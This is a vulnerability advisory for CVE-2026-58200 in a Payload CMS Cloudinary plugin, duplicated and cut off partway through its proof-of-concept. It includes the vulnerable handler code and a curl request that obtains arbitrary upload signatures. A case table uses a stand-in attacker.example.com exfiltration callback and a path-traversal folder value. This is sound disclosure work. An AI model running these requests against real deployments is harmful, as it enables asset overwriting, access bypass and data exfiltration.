CVE-2026-58200

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

1. cloudinary/src/index.ts:58 — initClientUploads registers the server upload handler.
2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
6. cloudinary/src/getGenerateSignature.ts:55 — Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.

// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place:

• No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
• No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
• No timestamp freshness check
• No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

| Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset | | CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control | | CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites:

• @jhb.software/[email protected] deployed with clientUploads: true
• An authenticated Payload session (any privilege level)
• Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained…

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

1. cloudinary/src/index.ts:58 — initClientUploads registers the server upload handler.
2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
6. cloudinary/src/getGenerateSignature.ts:55 — Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.

// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place:

• No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
• No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
• No timestamp freshness check
• No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

| Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset | | CASE-3 | type=private, public_id=admin-document | Change asset visibility / bypass access control | | CASE-4 | notification_url=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation |

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites:

• @jhb.software/[email protected] deployed with clientUploads: true
• An authenticated Payload session (any privilege level)
• Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained…